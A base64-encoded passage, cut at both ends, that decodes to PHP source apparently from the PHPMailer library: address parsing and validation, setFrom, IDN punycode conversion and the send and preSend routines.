cmVjaXBpZW50cykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT57JGtpbmR9W10gPSBbJGFkZHJlc3MsICRuYW1lXTsKICAgICAgICAgICAgICAgICR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV0gPSB0cnVlOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoc3RydG9sb3dlcigkYWRkcmVzcyksICR0aGlzLT5SZXBseVRvKSkgewogICAgICAgICAgICAgICAgJHRoaXMtPlJlcGx5VG9bc3RydG9sb3dlcigkYWRkcmVzcyldID0gWyRhZGRyZXNzLCAkbmFtZV07CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvKioKICAgICAqIFBhcnNlIGFuZCB2YWxpZGF0ZSBhIHN0cmluZyBjb250YWluaW5nIG9uZSBvciBtb3JlIFJGQzgyMi1zdHlsZSBjb21tYS1zZXBhcmF0ZWQgZW1haWwgYWRkcmVzc2VzCiAgICAgKiBvZiB0aGUgZm9ybSAiZGlzcGxheSBuYW1lIDxhZGRyZXNzPiIgaW50byBhbiBhcnJheSBvZiBuYW1lL2FkZHJlc3MgcGFpcnMuCiAgICAgKiBVc2VzIHRoZSBpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0IGZ1bmN0aW9uIGlmIHRoZSBJTUFQIGV4dGVuc2lvbiBpcyBhdmFpbGFibGUuCiAgICAgKiBOb3RlIHRoYXQgcXVvdGVzIGluIHRoZSBuYW1lIHBhcnQgYXJlIHJlbW92ZWQuCiAgICAgKgogICAgICogQHNlZSAgICBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJzdHIgVGhlIGFkZHJlc3MgbGlzdCBzdHJpbmcKICAgICAqIEBwYXJhbSBib29sICAgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHBhcnNlQWRkcmVzc2VzKCRhZGRyc3RyLCAkdXNlaW1hcCA9IHRydWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3NlcyA9IFtdOwogICAgICAgIGlmICgkdXNlaW1hcCBhbmQgZnVuY3Rpb25fZXhpc3RzKCdpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0JykpIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBidWlsdC1pbiBwYXJzZXIgaWYgaXQncyBhdmFpbGFibGUKICAgICAgICAgICAgJGxpc3QgPSBpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0KCRhZGRyc3RyLCAnJyk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICBpZiAoJy5TWU5UQVgtRVJST1IuJyAhPSAkYWRkcmVzcy0+aG9zdCkgewogICAgICAgICAgICAgICAgICAgIGlmIChzdGF0aWM6OnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gKHByb3BlcnR5X2V4aXN0cygkYWRkcmVzcywgJ3BlcnNvbmFsJykgPyAkYWRkcmVzcy0+cGVyc29uYWwgOiAnJyksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MtPm1haWxib3ggLiAnQCcgLiAkYWRkcmVzcy0+aG9zdCwKICAgICAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvL1VzZSB0aGlzIHNpbXBsZXIgcGFyc2VyCiAgICAgICAgICAgICRsaXN0ID0gZXhwbG9kZSgnLCcsICRhZGRyc3RyKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGxpc3QgYXMgJGFkZHJlc3MpIHsKICAgICAgICAgICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgICAgICAgICAvL0lzIHRoZXJlIGEgc2VwYXJhdGUgbmFtZSBwYXJ0PwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgJzwnKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAvL05vIHNlcGFyYXRlIG5hbWUsIGp1c3QgdXNlIHRoZSB3aG9sZSB0aGluZwogICAgICAgICAgICAgICAgICAgIGlmIChzdGF0aWM6OnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICcnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2FkZHJlc3MnID0+ICRhZGRyZXNzLAogICAgICAgICAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgbGlzdCgkbmFtZSwgJGVtYWlsKSA9IGV4cGxvZGUoJzwnLCAkYWRkcmVzcyk7CiAgICAgICAgICAgICAgICAgICAgJGVtYWlsID0gdHJpbShzdHJfcmVwbGFjZSgnPicsICcnLCAkZW1haWwpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gdHJpbShzdHJfcmVwbGFjZShbJyInLCAiJyJdLCAnJywgJG5hbWUpKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkZW1haWwsCiAgICAgICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIGJvb2wgICAkYXV0byAgICBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRGcm9tKCRhZGRyZXNzLCAkbmFtZSA9ICcnLCAkYXV0byA9IHRydWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICAvLyBEb24ndCB2YWxpZGF0ZSBub3cgYWRkcmVzc2VzIHdpdGggSUROLiBXaWxsIGJlIGRvbmUgaW4gc2VuZCgpLgogICAgICAgICRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpOwogICAgICAgIGlmICgKICAgICAgICAgICAgZmFsc2UgPT09ICRwb3Mgb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgIXN0YXRpYzo6aWRuU3VwcG9ydGVkKCkpIGFuZAogICAgICAgICAgICAhc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MpCiAgICAgICAgKSB7CiAgICAgICAgICAgICRlcnJvcl9tZXNzYWdlID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICclcyAoRnJvbSk6ICVzJywKICAgICAgICAgICAgICAgICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSwKICAgICAgICAgICAgICAgICRhZGRyZXNzCiAgICAgICAgICAgICk7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPkZyb20gPSAkYWRkcmVzczsKICAgICAgICAkdGhpcy0+RnJvbU5hbWUgPSAkbmFtZTsKICAgICAgICBpZiAoJGF1dG8pIHsKICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+U2VuZGVyID0gJGFkZHJlc3M7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldExhc3RNZXNzYWdlSUQoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+bGFzdE1lc3NhZ2VJRDsKICAgIH0KICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBWYWxpZGF0aW9uIHBhdHRlcm5zIHN1cHBvcnRlZDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wOwogICAgICogKiBgcGNyZWAgVXNlIG9sZCBQQ1JFIGltcGxlbWVudGF0aW9uOwogICAgICogKiBgcGhwYCBVc2UgUEhQIGJ1aWx0LWluIEZJTFRFUl9WQUxJREFURV9FTUFJTDsKICAgICAqICogYGh0bWw1YCBVc2UgdGhlIHBhdHRlcm4gZ2l2ZW4gYnkgdGhlIEhUTUw1IHNwZWMgZm9yICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICogKiBgbm9yZWdleGAgRG9uJ3QgdXNlIGEgcmVnZXg6IHN1cGVyIGZhc3QsIHJlYWxseSBkdW1iLgogICAgICogQWx0ZXJuYXRpdmVseSB5b3UgbWF5IHBhc3MgaW4gYSBjYWxsYWJsZSB0byBpbmplY3QgeW91ciBvd24gdmFsaWRhdG9yLCBmb3IgZXhhbXBsZToKICAgICAqCiAgICAgKiBgYGBwaHAKICAgICAqIFBIUE1haWxlcjo6dmFsaWRhdGVBZGRyZXNzKCd1c2VyQGV4YW1wbGUuY29tJywgZnVuY3Rpb24oJGFkZHJlc3MpIHsKICAgICAqICAgICByZXR1cm4gKHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPT0gZmFsc2UpOwogICAgICogfSk7CiAgICAgKiBgYGAKICAgICAqCiAgICAgKiBZb3UgY2FuIGFsc28gc2V0IHRoZSBQSFBNYWlsZXI6OiR2YWxpZGF0b3Igc3RhdGljIHRvIGEgY2FsbGFibGUsIGFsbG93aW5nIGJ1aWx0LWluIG1ldGhvZHMgdG8gdXNlIHlvdXIgdmFsaWRhdG9yLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgICAgICAgICAgJGFkZHJlc3MgICAgICAgVGhlIGVtYWlsIGFkZHJlc3MgdG8gY2hlY2sKICAgICAqIEBwYXJhbSBzdHJpbmd8Y2FsbGFibGUgJHBhdHRlcm5zZWxlY3QgV2hpY2ggcGF0dGVybiB0byB1c2UKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAobnVsbCA9PT0gJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzdGF0aWM6OiR2YWxpZGF0b3I7CiAgICAgICAgfQogICAgICAgIGlmIChpc19jYWxsYWJsZSgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRwYXR0ZXJuc2VsZWN0LCAkYWRkcmVzcyk7CiAgICAgICAgfQogICAgICAgIC8vUmVqZWN0IGxpbmUgYnJlYWtzIGluIGFkZHJlc3NlczsgaXQncyB2YWxpZCBSRkM1MzIyLCBidXQgbm90IFJGQzUzMjEKICAgICAgICBpZiAoc3RycG9zKCRhZGRyZXNzLCAiXG4iKSAhPT0gZmFsc2Ugb3Igc3RycG9zKCRhZGRyZXNzLCAiXHIiKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCRwYXR0ZXJuc2VsZWN0KSB7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOiAvL0tlcHQgZm9yIEJDCiAgICAgICAgICAgIGNhc2UgJ3BjcmU4JzoKICAgICAgICAgICAgICAgIC8qCiAgICAgICAgICAgICAgICAgKiBBIG1vcmUgY29tcGxleCBhbmQgbW9yZSBwZXJtaXNzaXZlIHZlcnNpb24gb2YgdGhlIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMCiAgICAgICAgICAgICAgICAgKiBpcyBiYXNlZC4KICAgICAgICAgICAgICAgICAqIEluIGFkZGl0aW9uIHRvIHRoZSBhZGRyZXNzZXMgYWxsb3dlZCBieSBmaWx0ZXJfdmFyLCBhbHNvIHBlcm1pdHM6CiAgICAgICAgICAgICAgICAgKiAgKiBkb3RsZXNzIGRvbWFpbnM6IGBhQGJgCiAgICAgICAgICAgICAgICAgKiAgKiBjb21tZW50czogYDEyMzQgQCBsb2NhbChibGFoKSAubWFjaGluZSAuZXhhbXBsZWAKICAgICAgICAgICAgICAgICAqICAqIHF1b3RlZCBlbGVtZW50czogYCcidGVzdCBibGFoIkBleGFtcGxlLm9yZydgCiAgICAgICAgICAgICAgICAgKiAgKiBudW1lcmljIFRMRHM6IGBhQGIuMTIzYAogICAgICAgICAgICAgICAgICogICogdW5icmFja2V0ZWQgSVB2NCBsaXRlcmFsczogYGFAMTkyLjE2OC4wLjFgCiAgICAgICAgICAgICAgICAgKiAgKiBJUHY2IGxpdGVyYWxzOiAnZmlyc3QubGFzdEBbSVB2NjphMTo6XScKICAgICAgICAgICAgICAgICAqIE5vdCBhbGwgb2YgdGhlc2Ugd2lsbCBuZWNlc3NhcmlseSB3b3JrIGZvciBzZW5kaW5nIQogICAgICAgICAgICAgICAgICoKICAgICAgICAgICAgICAgICAqIEBzZWUgICAgICAgaHR0cDovL3NxdWlsb29wbGUuY29tLzIwMDkvMTIvMjAvZW1haWwtYWRkcmVzcy12YWxpZGF0aW9uLwogICAgICAgICAgICAgICAgICogQGNvcHlyaWdodCAyMDA5LTIwMTAgTWljaGFlbCBSdXNodG9uCiAgICAgICAgICAgICAgICAgKiBGZWVsIGZyZWUgdG8gdXNlIGFuZCByZWRpc3RyaWJ1dGUgdGhpcyBjb2RlLiBCdXQgcGxlYXNlIGtlZXAgdGhpcyBjb3B5cmlnaHQgbm90aWNlLgogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2wpIHByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI/KD8+XFxcWyAtfl18W14iXSkiPyg/MSkpezI1NSx9KSg/ISg/Pig/MSkiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAgICAgJygoPz4oPz4oPz4oKD8+KD8+KD8+XHgwRFx4MEEpP1tcdCBdKSt8KD8+W1x0IF0qXHgwRFx4MEEpP1tcdCBdKyk/KShcKCg/Pig/MiknIC4KICAgICAgICAgICAgICAgICAgICAgICAgJyg/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtXCcqLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl18KD8zKSkpKig/MilcKSkpKyg/MikpfCg/MikpPyknIC4KICAgICAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICAgICAnKD8yKSIpKD8+KD8xKVwuKD8xKSg/NCkpKig/MSlAKD8hKD8xKVthLXowLTktXXs2NCx9KSg/MSkoPz4oW2EtejAtOV0oPz5bYS16MC05LV0qW2EtejAtOV0pPyknIC4KICAgICAgICAgICAgICAgICAgICAgICAgJyg/Pig/MSlcLig/ISg/MSlbYS16MC05LV17NjQsfSkoPzEpKD81KSl7MCwxMjZ9fFxbKD86KD8+SVB2NjooPz4oW2EtZjAtOV17MSw0fSkoPz46KD82KSl7N30nIC4KICAgICAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg/PjooPzYpKXswLDZ9KT86Oig/Nyk/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICAgICAnfCg/ISg/Oi4qW2EtZjAtOV06KXs2LH0pKD84KT86Oig/PigoPzYpKD8+Oig/NikpezAsNH0pOik/KSk/KDI1WzAtNV18MlswLTRdWzAtOV18MVswLTldezJ9JyAuCiAgICAgICAgICAgICAgICAgICAgICAgICd8WzEtOV0/WzAtOV0pKD8+XC4oPzkpKXszfSkpXF0pKD8xKSQvaXNEJywKICAgICAgICAgICAgICAgICAgICAkYWRkcmVzcwogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgY2FzZSAnaHRtbDUnOgogICAgICAgICAgICAgICAgLyoKICAgICAgICAgICAgICAgICAqIFRoaXMgaXMgdGhlIHBhdHRlcm4gdXNlZCBpbiB0aGUgSFRNTDUgc3BlYyBmb3IgdmFsaWRhdGlvbiBvZiAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAgICAgICAgICAgICAqCiAgICAgICAgICAgICAgICAgKiBAc2VlIGh0dHA6Ly93d3cud2hhdHdnLm9yZy9zcGVjcy93ZWItYXBwcy9jdXJyZW50LXdvcmsvI2UtbWFpbC1zdGF0ZS0odHlwZT1lbWFpbCkKICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sKSBwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgICAgICcvXlthLXpBLVowLTkuISMkJSZcJyorXC89P15fYHt8fX4tXStAW2EtekEtWjAtOV0oPzpbYS16QS1aMC05LV17MCw2MX0nIC4KICAgICAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2wpIGZpbHRlcl92YXIoJGFkZHJlc3MsIEZJTFRFUl9WQUxJREFURV9FTUFJTCk7CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiBgaW50bGAgYW5kIGBtYnN0cmluZ2AgUEhQIGV4dGVuc2lvbnMuCiAgICAgKgogICAgICogQHJldHVybiBib29sIGB0cnVlYCBpZiByZXF1aXJlZCBmdW5jdGlvbnMgZm9yIElETiBzdXBwb3J0IGFyZSBwcmVzZW50CiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaWRuU3VwcG9ydGVkKCkKICAgIHsKICAgICAgICByZXR1cm4gZnVuY3Rpb25fZXhpc3RzKCdpZG5fdG9fYXNjaWknKSBhbmQgZnVuY3Rpb25fZXhpc3RzKCdtYl9jb252ZXJ0X2VuY29kaW5nJyk7CiAgICB9CiAgICAvKioKICAgICAqIENvbnZlcnRzIElETiBpbiBnaXZlbiBlbWFpbCBhZGRyZXNzIHRvIGl0cyBBU0NJSSBmb3JtLCBhbHNvIGtub3duIGFzIHB1bnljb2RlLCBpZiBwb3NzaWJsZS4KICAgICAqIEltcG9ydGFudDogQWRkcmVzcyBtdXN0IGJlIHBhc3NlZCBpbiBzYW1lIGVuY29kaW5nIGFzIGN1cnJlbnRseSBzZXQgaW4gUEhQTWFpbGVyOjokQ2hhclNldC4KICAgICAqIFRoaXMgZnVuY3Rpb24gc2lsZW50bHkgcmV0dXJucyB1bm1vZGlmaWVkIGFkZHJlc3MgaWY6CiAgICAgKiAtIE5vIGNvbnZlcnNpb24gaXMgbmVjZXNzYXJ5IChpLmUuIGRvbWFpbiBuYW1lIGlzIG5vdCBhbiBJRE4sIG9yIGlzIGFscmVhZHkgaW4gQVNDSUkgZm9ybSkKICAgICAqIC0gQ29udmVyc2lvbiB0byBwdW55Y29kZSBpcyBpbXBvc3NpYmxlIChlLmcuIHJlcXVpcmVkIFBIUCBmdW5jdGlvbnMgYXJlIG5vdCBhdmFpbGFibGUpCiAgICAgKiAgIG9yIGZhaWxzIGZvciBhbnkgcmVhc29uIChlLmcuIGRvbWFpbiBjb250YWlucyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikuCiAgICAgKgogICAgICogQHNlZSAgICBQSFBNYWlsZXI6OiRDaGFyU2V0CiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcgVGhlIGVuY29kZWQgYWRkcmVzcyBpbiBBU0NJSSBmb3JtCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwdW55ZW5jb2RlQWRkcmVzcygkYWRkcmVzcykKICAgIHsKICAgICAgICAvLyBWZXJpZnkgd2UgaGF2ZSByZXF1aXJlZCBmdW5jdGlvbnMsIENoYXJTZXQsIGFuZCBhdC1zaWduLgogICAgICAgICRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpOwogICAgICAgIGlmICgKICAgICAgICAgICAgc3RhdGljOjppZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgZmFsc2UgIT09ICRwb3MKICAgICAgICApIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgLy9JZ25vcmUgSURFIGNvbXBsYWludHMgYWJvdXQgdGhpcyBsaW5lIC0gbWV0aG9kIHNpZ25hdHVyZSBjaGFuZ2VkIGluIFBIUCA1LjQKICAgICAgICAgICAgICAgICRlcnJvcmNvZGUgPSAwOwogICAgICAgICAgICAgICAgJHB1bnljb2RlID0gaWRuX3RvX2FzY2lpKCRkb21haW4sICRlcnJvcmNvZGUsIElOVExfSUROQV9WQVJJQU5UX1VUUzQ2KTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSAhPT0gJHB1bnljb2RlKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHN1YnN0cigkYWRkcmVzcywgMCwgJHBvcykgLiAkcHVueWNvZGU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRhZGRyZXNzOwogICAgfQogICAgLyoqCiAgICAgKiBDcmVhdGUgYSBtZXNzYWdlIGFuZCBzZW5kIGl0LgogICAgICogVXNlcyB0aGUgc2VuZGluZyBtZXRob2Qgc3BlY2lmaWVkIGJ5ICRNYWlsZXIuCiAgICAgKgogICAgICogQHRocm93cyBFeGNlcHRpb24KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wgZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlbmQoKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghJHRoaXMtPnByZVNlbmQoKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cG9zdFNlbmQoKTsKICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICAvKioKICAgICAqIFByZXBhcmUgYSBtZXNzYWdlIGZvciBzZW5kaW5nLgogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICBpZiAoCiAgICAgICAgICAgICdzbXRwJyA9PSAkdGhpcy0+TWFpbGVyIG9yCiAgICAgICAgICAgICgnbWFpbCcgPT0gJHRoaXMtPk1haWxlciBhbmQgc3RyaXBvcyhQSFBfT1MsICdXSU4nKSA9PT0gMCkKICAgICAgICApIHsKICAgICAgICAgICAgLy9TTVRQIG1hbmRhdGVzIFJGQy1jb21wbGlhbnQgbGluZSBlbmRpbmdzCiAgICAgICAgICAgIC8vYW5kIGl0J3MgYWxzbyB1c2VkIHdpdGggbWFpbCgpIG9uIFdpbmRvd3MKICAgICAgICAgICAgc3RhdGljOjpzZXRMRSgiXHJcbiIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vTWFpbnRhaW4gYmFja3dhcmQgY29tcGF0aWJpbGl0eSB3aXRoIGxlZ2FjeSBMaW51eCBjb21tYW5kIGxpbmUgbWFpbGVycwogICAgICAgICAgICBzdGF0aWM6OnNldExFKFBIUF9FT0wpOwogICAgICAgIH0KI